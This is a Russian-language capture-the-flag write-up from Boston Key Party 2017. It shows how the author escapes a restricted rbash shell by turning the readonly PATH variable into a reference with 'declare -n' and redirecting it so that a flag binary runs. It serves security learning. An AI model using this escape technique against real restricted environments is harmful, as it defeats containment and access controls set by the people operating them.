- PVSM.RU - https://www.pvsm.ru -
Совсем недавно проходил очередной интересный CTF Boston Key Party 2017 [1]. Который мы к сожалению не выиграли, но это другая история. А сегодня я бы хотел описать решение одного задания из раздела pwn это «Solitary Confinement (pwn 99)».
Осуществив подключение по SSH мы сразу попадаем в rbash.
Осмотревшись, становится понятно, что доступных для исполнения файлов, через которые можно было бы выйти в нормальный шел, у нас нет:
rbash-4.3$ [tab]
! ]] builtin compgen declare echo eval fc getopts in logout pwd readonly shopt time typeset until
alias caller complete dirs elif exec fg hash jobs mapfile return source times ulimit wait
: bg case compopt disown else exit fi help kill popd rbash select suspend trap umask while
[ bind cd continue do enable export for history let printf read set test true unalias {
[[ break command coproc done esac false function if local pushd readarray shift then type unset }
Далее осмотревшись в системе:
-rbash-4.3$ pwd
/
Понимаем что мы находимся в корневой директории! Первая мысль — Это здорово! Однако смотрим дальше:
-rbash-4.3$ echo ./*
bin dev flag lib lib64
-rbash-4.3$ echo ./bin/*
rbash
-rbash-4.3$ echo ./flag/*
showFlag
Ну по крайней мере знаем где лежит флаг. Но и тут не всё так просто, просмотрев атрибуты файла:
-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi
ok
-rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi
Понимаем, что это бинарник, так ещё и не принадлежит нам. Так как использовать / для исполнения команд запрещено, так же как и изменять использовать cd. То нужно было придумать как изменить переменную PATH.
rbash-4.3$ unset -v PATH
rbash: unset: PATH: cannot unset: readonly variable
Изменять переменные окружения можно следующим образом:
После внимательного изучения документации к каждой команде, можно наткнуться на вот такой интересный фрагмент:
declare: declare [-aAfFgilnrtux] [-p] [name[=value] ...]
Set variable values and attributes.
…
-n make NAME a reference to the variable named by its value
Хм, раз нельзя изменить переменную напрямую, попробуем создать ссылку:
rbash-4.3$ declare -n PATH
rbash-4.3$ export PATH=/flag
Ошибок не возникло. Проверим внесенные изменения:
rbash-4.3$ echo $PATH
/flag
rbash-4.3$ showFlag
BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}
Флаг у нас. Задание пройдено. При наличии к примеру bash'а, можно было бы его запустить таким же образом.
Автор: homoyi
Источник [2]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/249765
Ссылки в тексте:
[1] Boston Key Party 2017: https://ctftime.org/event/394
[2] Источник: https://habrahabr.ru/post/324132/?utm_source=habrahabr&utm_medium=rss&utm_campaign=sandbox
Нажмите здесь для печати.